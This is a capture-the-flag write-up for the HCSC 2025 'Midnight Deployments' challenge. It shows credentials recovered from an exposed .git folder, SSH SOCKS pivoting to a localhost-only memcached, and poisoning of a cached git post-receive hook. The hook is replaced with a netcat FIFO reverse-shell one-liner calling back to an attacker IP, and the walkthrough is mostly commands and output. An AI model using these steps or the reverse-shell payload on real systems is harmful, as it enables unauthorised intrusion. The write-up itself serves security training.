HCSC 2025 - Midnight Deployments
Description
A sleep-deprived sysadmin, fueled by caffeine and regret, rushed a last-minute deployment at 3 AM. The code worked—somehow. Management was happy—probably. And security? Well… let’s not talk about security. Now, their past decisions are coming back to haunt them. Can you uncover what they missed before they wake up?
Flag format: HCSC{...}
10.10.1-9.11:17367,22283
By: ab310
Metadata
- Filename: -
- Tags:
git
,ssh
,dynamic port forward
,socks
,memcached
,git hook
,post-receive
- Points: 500
- Number of solvers: 3
Solution
Unfortunatelly, I was not able to solve this challenge, regardless the fact that I’ve solved several similar tasks before, missmanaged sleeping…
Let’s run nmap
on the given ports:
[...]
17367/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
22283/tcp open http Apache httpd 2.4.62 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
| http-git:
| 10.10.4.11:22283/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Addnig nothing
|_http-server-header: Apache/2.4.62 (Debian)
We have an SSH server and a webserver with an accessible /.git/
folder.
Let’s download the /.git
repository using git-dumper
(https://github.com/arthaud/git-dumper).
If we check the logs
and go back to the first commit, we’ll get some credentials for the git
user.
$ git:(master) git logs
commit da808a74469be3a2d0ae67521e2c82b006daf411 (HEAD -> master)
Author: root <root@localhost>
Date: Tue Apr 8 15:01:59 2025 +0000
Addnig nothing
commit bbe9af1aa04ae51b9d43be006cf1cf0022852922
Author: root <root@localhost>
Date: Tue Apr 8 15:01:59 2025 +0000
Oooops
commit b745be84816424f92167e3f02bb657046c08fd17
Author: root <root@localhost>
Date: Tue Apr 8 15:01:59 2025 +0000
Initial commit
$ git:(master) git checkout b745be84816424f92167e3f02bb657046c08fd17
Note: switching to 'b745be84816424f92167e3f02bb657046c08fd17'.
HEAD is now at b745be8 Initial commit
$ git:(b745be8) ls
$ git:(b745be8) ls -la
total 16
drwxr-xr-x 3 pentest pentest 4096 Apr 26 10:47 .
drwxr-xr-x 3 pentest pentest 4096 Apr 26 10:46 ..
drwxr-xr-x 7 pentest pentest 4096 Apr 26 10:47 .git
-rw-r--r-- 1 pentest pentest 37 Apr 26 10:47 .git-credentials
$ git:(b745be8) cat .git-credentials
git:REvOnr2nTInUUja6rhFEtR8oxg1fnClB
The credentials can be checked with SSH:
$ ssh -p 17367 git@10.10.1.11
(git@10.10.1.11) Password:
Linux 8ef5195c7e22 6.1.0-33-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.133-1 (2025-04-10) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 30 11:07:12 2025 from 10.9.0.6
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
fatal: Interactive git shell is not enabled.
hint: ~/git-shell-commands should exist and have read and execute access.
Connection to 10.10.1.11 closed.
We cannot execute any command and it is not possible to clone or push to the identified repository because it is owned by the root
user. Available exploits against git servers did not work.
The only thing we can to is to create an SSH dynamic port forward and pray that there is a service which is only listening on localhost
.
$ ssh -D 9050 -N -p 17367 git@10.10.1.11
# Edit /etc/proxychains.conf if necessary
$ proxychains -q nmap -v -sT -p- 127.0.0.1
[...]
Discovered open port 22/tcp on 127.0.0.1
Discovered open port 80/tcp on 127.0.0.1
Discovered open port 11211/tcp on 127.0.0.1
[...]
$ proxychains -q nmap -sT -sV -p 11211 127.0.0.1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 02:21 CEST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 127.0.0.1
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
11211/tcp open memcached Memcached 1.6.18 (uptime 566189 seconds)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.31 seconds
There is a memcached
service running, which is only available on localhost
. We can use libmemcached-tools
to query the memory cache.
$ sudo apt install libmemcached-tools
$ proxychains memcdump --servers=127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:11211 ... OK
git:cache:hooks/post-receive
$ proxychains memccat --servers=127.0.0.1 git:cache:hooks/post-receive
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:11211 ... OK
echo 'Repository location is /home/git/repo'
There is a git:cache:hooks/post-receive
entry in the cache with the content echo 'Repository location is /home/git/repo'
. Here we can have an idea, to update the content of the cache (the post-receive
hook) by writing some custom code to it (reverse shell) and then push something to the repository to trigger the hook.
The repository can be cloned using the following command:
$ git clone ssh://git@10.10.1.11:17367/home/git/repo
Cloning into 'repo'...
(git@10.10.1.11) Password:
remote: Enumerating objects: 114, done.
remote: Counting objects: 100% (114/114), done.
remote: Compressing objects: 100% (86/86), done.
remote: Total 114 (delta 18), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (114/114), 9.59 KiB | 37.00 KiB/s, done.
Resolving deltas: 100% (18/18), done.
If we push something to the repository, we will receive the output of the hook in the remote:
lines:
$ git push
(git@10.10.1.11) Password:
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 16 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 305 bytes | 305.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
remote: Repository location is /home/git/repo
To ssh://10.10.1.11:17367/home/git/repo
505dd7f..03bb0a5 master -> master
It is important to highlight that we can only execute one command or separate it with &&
.
Now we can create a file git:cache:hooks/post-receive
with some reverse shell content (rm /tmp/f && mkfifo /tmp/f && cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.0.184 12345 > /tmp/f
) and upload it to memcached
using memccp
and memccat
.
$ git:(master) ✗ proxychains memccp --servers=127.0.0.1 --relative git:cache:hooks/post-receive
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:11211 ... OK
$ git:(master) ✗ proxychains memccat --servers=127.0.0.1 git:cache:hooks/post-receive
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:9050 ... 127.0.0.1:11211 ... OK
rm /tmp/f && mkfifo /tmp/f && cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.0.184 12345 > /tmp/f
It is important to highlight that the content of the hook will be reset after a few seconds!
If we set the reverse shell payload and push to the repository, we will get the response in nc
and we can get the flag:
$ echo `date` > test
$ git add test
$ git commit -m "test"
[master 5c948bc] test
1 file changed, 1 insertion(+), 1 deletion(-)
$ git push
(git@10.10.1.11) Password:
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 16 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 305 bytes | 305.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
$ nc -vlnp 12345
Listening on 0.0.0.0 12345
Connection received on 10.10.1.11 49148
/bin/sh: 0: can't access tty; job control turned off
$ find / -name flag.txt 2>/dev/null
/home/git/d3v3l0p3r_d1rty_s3cr3t/flag.txt
$ cat /home/git/d3v3l0p3r_d1rty_s3cr3t/flag.txt
HCSC{c4Ch3_Me_1f_y0U_cAn}
The flag is: HCSC{c4Ch3_Me_1f_y0U_cAn}